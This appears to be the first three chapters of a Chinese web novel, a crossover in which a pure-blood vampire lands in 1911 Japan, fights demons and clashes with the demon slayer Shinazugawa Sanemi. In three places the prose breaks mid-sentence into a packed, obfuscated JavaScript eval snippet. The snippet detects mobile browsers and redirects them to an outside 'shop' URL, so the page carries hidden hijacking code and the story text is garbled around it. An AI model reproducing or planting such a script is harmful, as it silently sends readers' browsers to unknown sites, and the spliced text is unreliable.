《纯血女王,但身在大正》 1. 吃人鬼 玖兰绫夏也没想到,只是测试一个新能力,还能把自己测穿越了。 时空乱流搅得她头昏脑涨,等到天旋地转的感觉终于消退,她回过神来时自己正躺在地上。 头顶传来野兽般粗粝的“嗬嗬”声,她的手腕被不知名的生物攥住,强行抬起。 污浊的气息喷在她裸露的手臂上。 玖兰绫夏猛地睁开了眼睛。 面前是一张扭曲畸形的脸,那生物头上顶着犄角,皮肤是病态的灰紫色,胸口竟然还凸出一张人脸。 她的手被那生物攥着,正往那张流着口水的嘴里送。 玖兰绫夏:“!!” 她握紧拳头,朝着那生物砸了过去。 它被击飞出去,撞倒一棵粗木后摔进雪堆里。 风雪吹到脸上,玖兰绫夏彻底清醒了。 她站起身,环顾四周。这里是野外,入目是一望无际的森林,周围都是二三十米高的巨型针叶树。 地上有厚厚的积雪,没到了小腿中间。 玖兰绫夏身上只穿了一件单薄的黑色吊带洋裙,裙摆只到膝盖上方。脚上的羊皮短靴已经浸入雪水,又湿又冷。 “这是什么地方?” 上一刻,她还在欧洲气候宜人的私人城堡里休假。 远在日本的眷属突然造访,献上了一管密封的液体,据说是笹原家纯血种的细胞提取物。 纯血种可以通过吸收血液或细胞得到新的天赋,玖兰绫夏读取了细胞里的记忆,了解了新能力的使用方法。 于是她当场做了测试。 结果就是现在这样。 “果然还是不能乱吃东西。”玖兰绫夏叹了口气,“回去肯定要被一条先生念叨了。” 一条拓真,现任血族元老院的首席,同时也是她的监护人。 他向来对玖兰绫夏的安全问题异常重视,在他的保护下,她平常不能随便出行,不能乱吃东西,不能随便接见陌生人…… 现在好了,她不仅“乱吃东西”,还把自己弄丢了。光是想想一条先生可能的反应,她就觉得麻烦。 不远处,那个被打飞的生物已经摇摇晃晃地爬了起来。 刚才那一拳玖兰绫夏用了些力气,它半边肩膀塌陷下去,碎骨和血肉混在一起。 按理说这种伤势,普通生物应该当场失去行动能力才对。可那东西不仅站起来了,肩膀还在快速愈合中。 活了近百年,她没见过这样的东西。 丧尸? 不像,没有腐烂的臭味。 那是异形?畸变生物? 这个新能力到底给她传送到什么鬼地方了? 怪物的眼睛盯着她,口水顺着嘴角滴进雪地里,再次冲了过来。 没有理智,无法沟通。 它完全被食欲支配了,面对明显比它强大的存在,连本能的恐惧都没有。 看起来是非常低级的一种生物。 和血族里最糟糕的E级堕落者有点像。 被纯血种咬过的人类,如果没有得到赐血的话就会变成堕落者。 那是一种永远被饥饿感支配的怪物。 只有及时吸入了纯血种的血,才可以顺利转化成血族,也就是人类常说的“初拥”。 玖兰绫夏嫌弃地皱起眉,一点也不想碰到那怪物的身体。 意念凝成了看不见的刀刃,把它的脑袋削了下来。 一般的堕落者,这样就会死了。但这个怪物无头的身体僵直着,不仅没有倒下,还踉跄着转向头颅的方向。它伸出双手摸索着,试图把脑袋捡回来安上。 被血腥味勾起了反应的玖兰绫夏瞳孔泛红,刚抵御过时空乱流的身体,有了饥饿感。 可手边没有血液替代剂,眼前这个怪物又太恶心了,让她完全提不起食欲。 饥饿感暂时还能忍耐,当务之急是搞清楚这怪物是什么,弱点在哪里,以及她现在到底在什么地方。 玖兰绫夏叹了口气,极其不情愿地走近那具无头身体。指尖沾了一点怪物的血,抿入嘴里。 还好,没有怪味,而且也没有毒。 零碎混乱的记忆被读取出来。 原来这是一种叫“鬼”的生物,以人类为食,惧怕阳光。被砍头也不会立刻死亡,需要阳光照射才能彻底消灭。 而她所处的这个地方,是1911年的日本。 看到这个信息的时候,玖兰绫夏愣住了。 这个时候的日本正处于明治时代末期,日俄战争刚结束没几年,距离大正改元也只有不到一个月的时间了…… 没想到,这个新能力竟然带着她回到了三百年前的日本! 笹原家的能力应该只是类似瞬间移动那样的能力,做不到直接穿梭时空。 难道是和她本身的能力结合之后产生的新天赋? 那就有意思了。 通过血液读取到的信息很有限,这只鬼原来是人类,变成鬼的过程也残缺不全。只知道它浑浑噩噩吃了不少人,最后游荡到了这片山林。 既然只有阳光能杀死鬼,那就等天亮吧。 这种没有理智的吃人鬼,不能留。 玖兰绫夏把鬼带到附近最高的一棵树上,挑了一根尖锐的断枝,直接把的身体串了上去。 第二天早晨,那只鬼在阳光升起的一瞬间化为飞灰。 坐在树干上的玖兰绫夏伸了个懒腰,经过一个晚上的研究,她发现自己暂时使用不了那个穿梭时空的能力了。 它是有冷却时间的,可能是几个月,也可能是几年。 对于拥有永恒生命的血族来说,这点时间还不算什么。 但她的眷属们,尤其是一条先生,恐怕要急疯了。 “唉。”玖兰绫夏望着远处层叠的山影,“总之,先想办法安顿下来吧。” 山下应该有村庄或城镇。 血族虽然只需要血液就能存活,即便没有也能靠沉睡渡过漫长时光,但玖兰绫夏从小养尊处优,让她在野外风餐露宿?绝无可能。 玖兰绫夏从树上跃下,雪很深,她不想再弄湿靴子,便低低地悬浮在雪面之上,朝下山的方向飘去。 然后,她就在这片仿佛没有尽头的山脉里,迷路了整整三天。 这到底是什么山?怎么这么大? 针叶林长得都差不多,积雪覆盖了一切路径标志。手机也是理所当然地没有信号,生在导航信号全球覆盖的时代,玖兰绫夏的认路能力可以说是非常之差了。 第二天的晚上,还下起了暴雪。 乌云蔽月,山林一片漆黑。 对于血族这样的夜行生物来说,黑暗并不影响什么。只是雪水打湿了她的裙摆,黏糊糊地贴在身上,很不舒服。 她找到了一个可以避雪的山洞,打算等雪小一点再出发。里面原住着一窝冬眠的熊,饿了的玖兰绫夏没客气,直接当成了口粮。 野兽的血,味道不怎么样,将就着用来填饱肚子而已。 毛绒绒的熊皮,被她用锋利的指甲裁成了披肩形状,洗净晾干之后穿在了身上。 棕色毛绒披肩裹在黑色洋裙外,还是挺搭配的。 天亮雪停时,积雪已经到了半人高。 原想着能不能找到一个山里人来帮忙带路,看这个情形是不太可能了。 “我讨厌爬山。” 玖兰绫夏站在一棵巨树的顶端,对着茫茫林海叹气。 在树上休息,在山洞凑合,饿了就只能捕兽……这种野外生存的日子简直没法过了。 她无比想念城堡里的大床,还有一条先生每天精心调制的各种口味血液代剂。 她现在还特别想泡澡,在这种深山里,就连生火烧水的条件都没有。 第四天,玖兰绫夏瞄准太阳升起的方向,直线飞了出去。不管下面是密林、深谷还是溪流,她都不绕行。 高速飞行带起的风吹得披肩猎猎作响,几个小时后,她飞出了连绵的山脉。视野骤然开阔,远处的平野上,零星散布着低矮的房屋。 看起来很小的一个村庄,只有几十户人家。 房屋是传统的木造结构,没有通电。土路被积雪覆盖,上面有几条被人踩出来的小径。 有人类就意味着可以打听情报,可以问路,可以知道最近的城镇在哪里。 运气好的话,说不定还能借宿,烧点热水好好洗个澡…… 玖兰绫夏从空中降落,拍干净身上沾着的雪。 对了,她的发色…… 这个年代的日本也有不少外国人,虽然是在乡村,但金色的头发应该不至于引起恐慌吧? * 院子里的女人正低头扫着雪,木屐踩进积雪里,发出咯吱咯吱的声响。 她叫堀北春,丈夫去年秋天染了风寒,没能熬过去,如今家里只剩她和十四岁的儿子松太郎相依为命。 连日大雪,柴火消耗得快。今天难得放晴,天刚蒙蒙亮,松太郎就背着柴架进山去了。 离春天还远,田地封冻,没什么农活可做。女人只能把家打扫得仔细些,再做点衣物缝补的活计。 扫完门前的空地,堀北春直起酸痛的腰,打算回屋生火做饭。 抬头时,她愣了一下。 雪地里远远走来一个人影。 那是一个年轻的小姐,穿着村子里很少见到的洋装。 最显眼的是那头金发,在暮色中泛着光,像是把夕阳都拢在了发丝间。 堀北春愣愣地看着她,这样精致美丽的小姐,怎么会独自出现在乡下的村庄里? 而且还是这种雪天……她该不会是遇到了什么难处吧? 堀北春放下扫把,主动走上前询问:“这位小姐,您需要帮助吗?” 玖兰绫夏打量着眼前的女人。 二十多岁的年纪,身上穿着粗布和服,外面套着劳作用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416081|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩衣。虽然是粗布,但浆洗得很干净。 “请问最近的城镇该怎么走?” 堀北春看了眼天色,连忙摇头:“今天肯定赶不及了,从这到镇上要走两个多时辰呢。这季节天黑得快,山里又有野物,没人敢在冬天赶夜路的。” 她看对方只穿着单薄的洋裙,虽然肩上披着毛皮,但露在外面的手臂和小腿都已经冻得发白了,心里更是不忍。 “小姐要是不嫌弃,先进屋坐坐吧?屋里生了火,暖和一些。等明天天亮,村里有牛车要去镇上,可以捎您一程,那样一个多时辰就能到了。” 玖兰绫夏点头:“那就打扰了。” “不打扰不打扰!”女人连忙引路。 院子里,积雪被扫到两旁,主屋屋顶铺着厚厚的茅草。 拉开木格门,暖意扑面而来。屋里很宽敞,中央架着铁制的火钵,炭火烧得正旺。 堀北春指着火钵周围铺着草编的圆垫说:“快请坐,我给您泡茶。” 她从角落的陶罐里舀出水,倒入挂在火钵上的铁壶。 玖兰绫夏在垫子坐下。 铁壶里的水很快烧开了,女人从碗柜里取出茶壶,抓了一把茶叶冲入热水,又把茶水倒在粗陶茶碗里。 “不是什么好茶,就是自家焙的粗茶,还请别嫌弃。” 玖兰绫夏接过茶碗,抿了一口。茶味有点苦,有点涩。 “谢谢。” “您客气了。”堀北春在她对面坐下,搓了搓手,“小姐怎么会一个人到山里来?这大雪天多危险啊,您的家人呢?” 玖兰绫夏:“我是从东京来的,原本跟着商队旅行,但在山里走散了。请问这里具体是什么地方?离最近的城镇有多远?” “这里是八郸山脚下的藤野村,最近的镇子是盐九町。明天村头的平野家要赶车去镇上,我可以去跟他说说,让他捎您一程。” 女人说话时,目光不自觉地落在玖兰绫夏捧着茶碗的手上。 手指纤细修长,皮肤白皙,连指甲都修剪得圆润整齐。 这位小姐出身一定很好吧,没想到会遇到这种意外,流落异乡……想到这里,她更觉得心疼了。 “您今晚要是不嫌弃,就在这儿住下吧?晚上您可以睡我的房间。我儿子进山砍柴,应该也快回来了……” 门外,天色已经完全暗下来了,雪又开始飘。 堀北春准备去添些柴时,院外传来了吱呀的推门声。 “妈妈,我回来了。” 听到少年的声音,女人脸上露出笑容,快步走过去拉开了门。 门口站着的少年,背着一个柴架,上面是厚厚一捆干燥木柴。 他身上穿着打了补丁的劳作服,外面罩着蓑衣,脚上的草鞋沾满泥雪。 这个时代已经有越来越多的年轻人开始剪短发,这个少年却是蓄了长发,还在脑后扎成了一个发髻。 “松太郎,回来啦。辛苦了,快把柴放下。” 堀北春伸手想帮忙,少年摇摇头,把柴架卸在门廊下,码放整齐。 做完这些,他才脱下蓑衣。准备进屋时,目光终于是碰到了端坐在火钵旁的玖兰绫夏身上。 松太郎的动作顿住。 火光勾勒出少女相貌优越的侧脸,金色的长发像是把室内的光线都聚拢了起来。 那身洋装与这个简陋的家格格不入。 愣神的几秒,母亲已经为他介绍了对方的身份。 松太郎只是对她冷淡地点了下头,算是打招呼。然后转向自己的母亲,皱眉道:“妈妈,你过来一下。” 通往厨房的狭窄门廊后,少年刻意压低的嗓音传入了玖兰绫夏的耳朵里。 “妈妈,你怎么又随便让陌生人进家里来?还是个这样……这样打扮的女人!” “松太郎,别这么大声。” 堀北春温和地劝着:“绫夏小姐是从东京来的,和商队走散了,又在山里迷了路,多可怜啊。这么大的雪,天又黑了,总不能让人家在野地里过夜吧?” “东京来的小姐怎么会一个人流落到我们这种深山里?万一是骗子呢?或者是……是别的什么?” 松太郎的隐晦地提醒,“你忘了村里最近的传言了?” 堀北春:“我看绫夏小姐不像是坏人,说话也很有礼数……” 松太郎看到母亲脸上毫无防备的笑容,就一阵担忧:“坏人也不会让你一眼就看出来吧?而且妈妈你太容易相信别人了……” 堀北春见儿子又要开始说教了,一拍脑袋说:“哎呀!光顾着和绫夏小姐说话,都忘记做晚饭了!松太郎你一定饿坏了吧?” 她一脸歉疚地拍拍儿子的手臂:“你先去陪绫夏小姐,妈妈这就去做饭。你是家里的男子汉,要好好招呼客人,知道吗?” 不等松太郎再反驳,她已经匆匆走进了厨房。 被留在原地的少年,无奈地抿紧了唇。 2. 稀血?! 回到主屋,松太郎在火钵另一侧坐下:“绫夏小姐,你说你是从东京来的,和商队走散了?” 玖兰绫夏:“是的。” “什么商队?往哪个方向去的?运的是什么货?” 他盘问的意思十分明显,玖兰绫夏只是平静地回答:“是收购药材的商队,具体我并不清楚,我只是随行,方向也分辨不清。” 模糊的回答根本不能打消松太郎的疑虑,没过多久,堀北春就端着饭菜回来了。 她歉意地看玖兰绫夏:“松太郎这孩子还不懂事,说话直来直去的,劳您多担待。” 其实玖兰绫夏是可以理解松太郎的警惕心的,毕竟这个时代还有鬼这种危险生物的存在。 堀北家的晚饭很简单,一锅杂菜味噌汤,一碟腌渍的野菜,主食是掺了糙米的麦饭。 玖兰绫夏只吃了一点点就放下了筷子。 人类的食物无法为血族提供能量,她可吃可不吃。 “绫夏小姐,你就只吃这么一点吗?是不是不合口味?”堀北春担忧地看着她。 “不,已经足够了。”玖兰绫夏礼貌地微笑,“非常感谢您的招待。” 堀北春还想再说些什么,松太郎拉了拉她的衣角。 少年默默地将自己碗里的饭吃完,又帮母亲收拾了碗筷。 饭后,松太郎仔细检查了房门,把门闩牢牢闩好,接着检查了每一扇窗。 “村子最近夜里不太平。”堀北春一边铺着被褥,一边对玖兰绫夏解释,“听说有吃人的野兽会在夜里进村,已经有好几户人家遭难了。现在大家晚上都不敢出门,门窗也关得紧紧的。” 她叹了口气:“已经报过官了,镇上交番的巡警来看过,说是会向上头报告,应该很快会有人来处理的吧。” “上头”具体指什么部门,她似乎也不清楚,只是朴实地相信着官府会管事。 玖兰绫夏想起了自己在山林里遇到的鬼。 如果夜袭村庄的不是野兽而是鬼的话,所谓的交番(警察所),恐怕对此也力有不逮吧? 松太郎回到屋里,对于母亲把自己的卧房让给客人的做法没说什么,还对她嘱咐了一句:“晚上如果有事就喊我。” 夜深了。 玖兰绫夏躺在被褥里闭眼小憩。 按照血族的作息,下午到深夜才是她精神最饱满的时候,凌晨到中午才是休息时间。 现在这个点应该刚过午夜,正是她最清醒的时段。 睡不着。 手机没电了,也玩不了。 好无聊。 思绪漫无目的地飘荡,1911年这个时期,她还没出生,不过一条先生已经存在了。 算算时间,这个时期的他,应该已经超过七百岁了吧? 现代的一条先生已经一千多岁了,具体年龄她也不清楚。说不定已经是老头中的老头了,只是他外表还骚包地维持着青年的模样。 去东京的话,不知道能不能找到这个时期的一条先生。以他的敏锐,应该能立刻认出她身上流淌的是玖兰家的纯血吧? 这时,一声凄厉的尖叫传来。 随后,丝丝缕缕的血腥味钻入鼻腔。 玖兰绫夏的眼睛在黑暗中骤然泛起红光,那是血族本能被勾起的反应。 她将涌动的食欲强行压下,紧接着房间的门被唰地拉开。 松太郎站在门口,手里攥着一把柴刀,脸色紧张。 他快速扫视了一眼屋内,看到玖兰绫夏已经坐起身,神色平静,似乎没有被吓到,这才松了口气。 “你没事吧?”他声音压得很低。 “我很好。”玖兰绫夏回答。 “外面不太对劲。”松太郎犹豫了一下,“你要不要出来,和我们待在一起?” 玖兰绫夏点了点头,起身跟着他回到主屋。 堀北春不安地抱着双臂坐在火钵边,她没有点灯,只有炭火残余的红光芒映出她苍白的脸。 三人围坐在微弱的火光旁,谁也没有说话,气氛凝重。 第二声哭喊传来,还夹杂着撞击声。 堀北春猛地一颤,惊惶道:“这个声音,好像是阿桃?” “阿桃姐?”松太郎提着柴刀站起来,“我出去看看。” 堀北春拉着他,担心地嘱咐:“那野兽会吃人,你一定要小心。” 松太郎点头,走到门边,搬开抵门的柜子。 “我出去之后你们立刻把门顶好,我没回来,谁叫都别开。” 堀北春点头,嘴唇哆嗦着:“松太郎,你一定要小心啊。” “我和你一起去。”玖兰绫夏忽然开口。 松太郎毫不犹豫地拒绝:“不行!你好好待在家里!” 像她这样漂亮精致的城里大小姐,怕是连担水的力气都没有,去了能做什么? 玖兰绫夏似乎看穿了他的想法:“不要小看我哦。” 她不理会松太郎的阻拦,径直越过他,走进了门外面的夜色中。 松太郎一愣,咬了咬牙,只得快步跟上。 堀北家位于村尾,和高木家也就是几十步的距离。越是靠近,空气里的血腥味就越发刺鼻。 松太郎神情紧绷,握着柴刀的手用力到发抖。 玖兰绫夏:“袭击人的不是野兽,是一种叫鬼的生物。” “鬼?” 松太郎愕然看向她,“那是什么东西?你怎么会知道?” 玖兰绫夏目光投向传来血腥味的方向:“鬼以人类的血肉为食,拥有远超普通人的力量和速度,再生能力也很强。” “那不是你能对付的东西,我劝你现在就转身回家,和你的母亲一起锁好门躲起来。” 松太郎从来没有听说过“鬼”这种东西,但即便她说的是真的…… 他咬紧牙关:“不行,阿桃姐从小就照顾我,就和我的亲姐姐一样,我不能放着她不管。” 玖兰绫夏提醒:“即便可能会因此付出自己的性命,也要去吗?” “不试试怎么知道!”少年不愿未战先怯。 出乎意料的,身旁的少女竟然轻轻笑了一下:“你还挺有正义感的嘛。” 都什么时候了,她怎么还能用这么轻松的语气说话? 松太郎被她这样的反应噎住。 可那个笑容在雪光的映衬下,竟有种动人心魄的美丽。 他立刻甩开不合时宜的念头,双手紧握柴刀,冲进了高木家敞开的院门。 院子里一片狼藉,主屋的门被整个撕烂,地板上有拖拽的血迹。 血腥味正是从屋后传来。 松太郎顺着痕迹来到后院里,一个身形超过两米的怪物,正将高木桃按在雪地上。 那生物有着类人的四肢,但指甲尖利,头上长着几个瘤状的凸起。 那就是绫夏小姐所说的“鬼”吗? 松太郎的呼吸凝滞。 旁边,高木桃的丈夫一动不动地倒在血泊里,不知是昏迷还是已经…… 玖兰绫夏皱了下眉,她的瞳孔在浓重的血气中,转为了深红。 堀北松太郎没有注意到她眼睛的异常,恐惧像冰水兜头浇下,他握着刀的手在止不住地颤抖。 但从小被教导,对帮助过自己的人要有道义,还有少年人不愿退缩的勇气,让他壮着胆子,朝背对他的鬼冲了过去! 可是实力差距太大了,鬼只是一挥爪,松太郎就被打飞出去。 他摔进雪堆里,上半身埋进雪里,半晌喘不过气。 玖兰绫夏踏过染血的地面,走进来:“好丑,鬼都像你这样丑吗?” 截至目前,她见过的两只鬼都长得颇为随心所欲。 “竟敢说我丑……” 鬼的喉咙里挤出嘶哑的声音。 嗅觉在这时忽然捕捉到一股奇异馥郁的香气,它回过头,看清来人的模样,眼珠里爆发出骇人的亮光:“好香!这味道……你是稀血?!” 传闻中,那是一种极度美味并且能带来强大力量的特殊人类血液。 他变成鬼已经半年多了,还没有品尝过呢! “稀血?” 玖兰绫夏没听说过这个词,她平静地否认,“不,我是纯血。” “纯血?” 鬼不理解,也不在乎。 它咧开嘴,涎水滴滴答答落下:“不管是什么,你闻起来实在是太香了!和那些普通人类完全不同……吃了你我一定能变得更强!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416082|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无名鬼丢开了爪下的高木桃,四肢肌肉贲张,把地面踩得嘭嘭响,直扑玖兰绫夏。 耳朵里的嗡鸣声渐熄,松太郎甩着脑袋站起来,正好看到那恐怖的鬼物冲向站在原地似乎来不及反应的绫夏小姐。 他不知从哪里爆发出来的力量,抓起手边的柴刀,再次扑过去对着鬼的手臂狠狠劈下。 柴刀嵌入鬼的手臂,它吃痛,暴怒之下抬脚踹在松太郎的腹部。 肋骨传来断裂声,他被踹飞出去,后背砸在院墙上,又滑落在地。 眼前阵阵发黑,在失去意识的前一秒,松太郎用最后力气说:“绫夏小姐……快跑……” 下一秒这个鬼被玖兰绫夏用念刃分解成了四段,断裂的躯块噼里啪啦地摔落在雪地上,瞬间失去了行动能力。 玖兰绫夏走到松太郎身边,把他蜷缩的身体放平。手指隔着衣物按在他胸腹交接处,将错位的肋骨推回了原本的位置。 少年的眉头舒展,人依旧昏迷。 那堆还在抽搐的鬼物残躯,玖兰绫夏指尖沾了点鬼血送进嘴里。 这只鬼的记忆比上一只鬼要清晰一点,他原本是个无家可归的流浪汉,浑噩度日。记忆中的一个雨夜,他缩在巷子里,病得快要死了。 一个穿着昂贵西式礼服、打着伞的男人路过,居高临下地看着他。 男人嘴角带着一丝似是怜悯又似玩味的笑意,问他:“想活下去吗?” 濒死的流浪汉拼命点头。 然后,男人朝他伸手,随之而来的便是焚烧五脏六腑般的剧痛。 再次醒来时,他已经变成了以人为食的怪物。 最早他一直在镇子里觅食,两个月前被巡查的猎鬼人发现后,为了避免麻烦,他东躲西藏地跑到了这个偏僻山坳里的村落。 玖兰绫夏在鬼血的记忆中,看到了那位鬼王的脸。 青年模样,面容苍白俊美,玫红色的眼睛。 原来也不是所有的鬼都那么丑嘛。 玖兰绫夏漫不经心地想着。 但对于鬼王这种随便把人变成鬼,又放任其遵循本能肆意杀戮的行为,她很不认同。 在现代,大多数血族选择的是避世,不与人类过多接触。反正血液代剂的研究已经很成熟了,几乎可以完美替代人血。 少数我行我素的血族,不管不顾地猎杀人类,也在被猎人协会前仆后继的追杀中逐渐凋零。 而玖兰家,从上上代的纯血之君开始,便致力于推动与人类的和平共处。不仅严格约束眷属,还和猎人协会建立了长期合作。共同猎杀堕落者,共同处决肆意妄为的血族,在血族中推广血液代剂等等…… 经过年复一年的努力,到了玖兰绫夏这一代,人类和血族之间的关系已经趋于稳定。 虽然在他们看不见的阴暗角落,也许仍然有肆意妄为的血族,但已经不成气候了。 像鬼舞辻无惨这样大肆制造不稳定因素,在玖兰绫夏看来,就是自取灭亡。 这个时代既然有猎鬼人存在,想必也有类似猎人协会的组织在暗中活动…… 墙角传来压抑的啜泣声。 先前被鬼袭击的高木桃挣扎着爬到了丈夫身边,正用身体护着昏迷的高木源吉,惊恐地看向玖兰绫夏。 由于刚刚吸收了鬼血,玖兰绫夏的瞳孔泛着红光,唇边露出的尖牙也不似人类。 加上她方才肢解鬼物的诡异手段,在高木桃眼中,这位美丽得过分的金发少女,无疑和地上那堆还在蠕动的鬼块一样可怕。 “求、求求你……别杀我们……” 玖兰绫夏嘴角扬起一个和善的微笑:“别怕,已经没事了,我这就把恶心的东西清理掉。” 她用念力卷起鬼块,像收拾垃圾一样将它们朝院外抛去。 此时门口突然闯进来一声断喝:“恶鬼!给我住手!” 伴随着这道声音,一道身影以惊人的速闪入。 刀光乍现,半空中的鬼头被来人一刀斩开。鬼头连同被念力卷着的其他残躯,如同被点燃的纸灰消失。 玖兰绫夏眼前一亮,猎鬼人? 那把刀是特殊的吗? 竟然能这么干脆利落地杀死鬼? 3. 很痒 不死川实弥是一路追着那只鬼的气息来到这个村子的。 几天前,负责巡逻的甲级队士在邻近的镇子上发现了鬼的踪迹。但那家伙胆小得很,一被察觉就立刻逃窜,速度奇快,队士没能追上。 消息上报后,作为这一带辖区管理的柱,不死川实弥立刻动身。 这种藏头露尾的鬼,他向来最为厌恶。 这个坐落在山坳里的村子,被浓密杉林环绕,常年雾气弥漫,正是鬼最喜欢的藏身之地。恰巧又有村民向地方警察所报告了野兽夜袭的事件…… 循着风中越来越浓的鬼气疾行,在闯入这处院落的时候,不死川实弥看到了一只被诡异地支解成数块的鬼。 站在鬼后面的是一个金发赤瞳、唇露尖牙的“少女”。 她身上散发出的气息,比那个鬼更加危险。 没有丝毫犹豫,不死川实弥挥刀斩灭了那只鬼。刀锋回转,直指那个金发少女。 玖兰绫夏看着这个浑身散发着凌厉杀气的男人,抬手做了个暂停的动作:“别误会,我可不是鬼。” 不死川实弥的视线扫过她猩红的眼睛、唇边的尖牙、异于常人的锋利指甲…… 还有地上昏迷不醒的少年和墙角生死不知的夫妇二人…… 他的眼神没有半分动摇:“拿命来吧,恶鬼!” 根本不给狡辩的机会,日轮刀带着风声直劈过去。 玖兰绫夏向后退开,刀锋险险擦过,带起的风压吹动了她的头发。 知道这个猎鬼人误会了,她想让高木桃出面解释一下,但女人不知道什么时候抱着自己的丈夫晕过去了。 玖兰绫夏:“……” 玖兰绫夏:“不是你想的那样,我可以解释,你先听我说。” “别以为我会听信你的花言巧语!” 不死川实弥攻势不停,刀光一下一下封锁她的退路,“恶鬼受死!” “能不能不要一口一个恶鬼。” 玖兰绫夏一边在刀光中穿梭,一边忍不住抱怨,“真的很难听。” 回应她的是男人一声沉喝:“风之呼吸·壹之型·尘旋风·削斩!” 爆发的刀势化作风刃,呈扇形向前方席卷。所过之处,地面被切割出道道深痕。 玖兰绫夏足尖轻点,身体向上腾空。躲开攻击之后,翩然落地。 “其实我是血族,可能你没有听说过,但我们是一种和恶鬼完全不同的生物……” 不死川实弥:“废话少说!” 这只鬼的速度果然很快,竟然能轻松地躲开他的壹之型。 他眼里的杀意更盛,越是强大的鬼,危害就越大! 他的身影以更快的速度突进:“风之呼吸·贰之型·爪爪·科户风!” 玖兰绫夏也在观察着这个对手。 男人有着一头炸起的白色短发,脸上、脖颈、裸露的胸膛都布满了交错的伤疤。他每一次呼吸都带着奇怪的韵律,斩出的每一刀都有超越常人的攻击力。 有意思。 这个时代的人类,居然能通过调整呼吸,爆发出这样的力量? 在她分神评估的时候,风刃从左肩掠过。毛绒披肩被割开一道口,左上臂的皮肤也被划开了一条血线。 一滴殷红的血珠从伤口渗出,但紧接着那道伤口便弥合消失,皮肤恢复光洁。 玖兰绫夏皱眉:“纯血种的血可是很珍贵的,猎鬼人,你真的冒犯到我了。” 她不打算一味避让了,跟这样不讲道理的男人,语言沟通是行不通了。 只能按他的方式来。 嗯,也就是用拳头沟通。 一条拓真为她安排的诸多课程里,也包含了战斗技巧训练。 只是那些对练的眷属不敢对她动真格,偶尔出现的刺杀者,也轮不到她亲自出手。 所以活了近百年,这算是玖兰绫夏第一次真正意义上的实战。 不过,纯血种的天赋极高,她很快就把学过的格斗技巧运用到了实战里。 从风刃的间隙中穿过,她用指甲抵住了刀刃,不死川实弥只觉得一股巨力从刀身传来,震得虎口发麻。 他用呼吸法强化的肌肉力量,硬生生抗住了。 玖兰绫夏没有攻击他的要害,格斗术加上意念操纵,轻松把他压制。 但这个猎鬼人很顽强,知道了敌我差距后,也没有放弃。 就算身上已经被打断了好几根骨头,他也像是没有痛觉似的继续战斗着。 甚至,眼里的杀气还比刚才更强了,有种拼死也要从她身上咬下一块肉的狠劲! 玖兰绫夏有点生气。 她处处留手,这个男人反倒对她不依不饶。 看来不让他吃点苦头,是不会结束的。 玖兰绫夏用指甲划破了他的手腕。 这个部位不仅是动脉所在,还有控制手指动作的肌腱。 不死川实弥的手一松,斩杀了无数恶鬼的日轮刀“哐当”一声掉落在地。 他脸色疾变,想要换一只手拾起,玖兰绫夏的念力已经先一步将日轮刀卷飞到了远处。 同时,她扣住了对方的另一只手,抵住他的后背,将他的上半身摁在了旁边的墙上。 玖兰绫夏:“这下你动不了了吧?” 不死川实弥的脸颊抵着粗糙的墙面,啐出一口带血的唾沫:“咳、恶鬼……杂碎!” “放弃吧,凭你是杀不了我的。”玖兰绫夏耐着性子说,“你安静一点,我们或许还能谈谈。” “要杀就杀!”他根本不为所动,胸膛剧烈起伏,眼神凶狠得好像要吃人,“别想耍什么花样!鬼舞辻无惨的走狗,你们都得死!” 玖兰绫夏气笑了。 这男人的脾气也太差了,她活了快一百年,还没被人这样指着鼻子骂过。 她决定给他一个教训。 正好打了这么久的架,又饿了这么多天,刚刚还因为他损失了一滴珍贵的血…… 从他身上吸回来,不过分吧? 玖兰绫夏一只手还压着他的背脊,另一只将他受伤的那只手臂向后拉。 他手腕内侧那道伤口还在渗血,红色血线沿着苍白的皮肤滑落。 玖兰绫夏低下头。 好香。 和刚才战斗中匆忙嗅到的感觉不同,现在这气息如此之近。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416083|200765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 玖兰绫夏已经很久没有摄入过人类的血液了,城堡里永远备着新鲜的替代剂,干净又健康。 也许是因为这样,才觉得他的气味格外香。 她伸出舌尖,舔过他手腕上那道蜿蜒的血痕。 男人的身体骤然紧绷。 玖兰绫夏也怔住了。 甜的? 这个男人的味道竟然是馥郁的甜味。 她忍不住又舔了一口。 尝起来有点像红豆奶茶。 这么明显的味道,这人难道是把红豆奶茶当饭吃了吗? 不死川实弥咬紧了牙。 他知道自己是鬼眼里的“稀血”,他的血肉对鬼有很强的吸引力。 现在他被按着动弹不得,那鬼的舌尖正一下一下舔舐着他手腕上的伤口。 恶心的感觉传遍了全身。 他奋力挣扎,想要挣脱压制。 不想让自己的血肉成为鬼的养分。 